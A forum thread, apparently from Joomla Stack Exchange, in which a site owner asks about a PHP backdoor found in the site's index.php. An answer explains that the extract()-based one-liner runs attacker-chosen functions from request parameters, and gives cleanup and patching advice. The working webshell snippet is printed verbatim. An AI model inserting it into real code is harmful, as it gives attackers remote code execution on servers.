5

We received an e-mail notification from our web site last night telling us that a core Joomla file had been modified.

Upon inspection, I found this code in our root/index.php file:

if (isset($_REQUEST["mjzM"])) {/*AlbqD*/@extract($_REQUEST);/*EYGfjEzF*/@die($mjzM($NAQGb));}

Could someone explain what it is please and what it does?

  • 1
    Just our of curiosity - what version of Joomla are you using? – jonboy Dec 16 '15 at 11:38
  • Given the timing, your website may have been exploited due to a recently patched vulnerability. It's important to update to Joomla 3.4.6 to fix the vulnerability. See developer.joomla.org/security-centre.html for the latest information on security updates. Note that patches for the end-of-life Joomla 1.5 and 2.5 series have also been released and you can find these at: docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions. As Lodder points out, applying the patches will fix the vulnerability but you'll still need to clean up any infection. – Neil Robertson Dec 16 '15 at 12:10
6

Looking at the code, it doesn't really make sense on it's own.

Lets look at what we currently have:

if (isset($_REQUEST["mjzM"]))
{
    @extract($_REQUEST);
    @die($mjzM($NAQGb));
}

Line 1 is checking to see if $_REQUEST["mjzM"] is set. Now $_REQUEST should not really be used as it contains the content of $_GET, $_POST and $_COOKIE, so it is possible that a 3rd party extension containing a form has been compromised.

Line 2 extracts $_REQUEST, which is an array, but it does it silently using @, meaning that if there are any errors executing this code, the errors won't display.

Line 3 terminates the execution of the script and dumps the results, again, being done silently. $mjzM and $NAQGb are populated from $_REQUEST and could be populated from the URL easily (as $_REQUEST contains the data from $_GET.

Read a little more on the matter here:

https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html

What should I do?

  • Make sure your Joomla site is updated to the latest version, currently 3.4.6
  • Download a fresh copy of the exact version of Joomla you're using. Copy and paste the index.php from the downloaded zip to replace yhe one on your site.
  • Ensure all 3rd party extensions are up to date.

Please bare in mind, that this may not be the only malicious code that has been injected into your site, there could be, and most probably is more.

Phil Taylor who is a Joomla expert and specialises Joomla security would be the a great person to have your site checked over:

https://fix.myjoomla.com/

Disclaimer: I'm not affiliated with Phil Taylor in any way. I've recommended him as he is highly recommended in the Joomla community.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.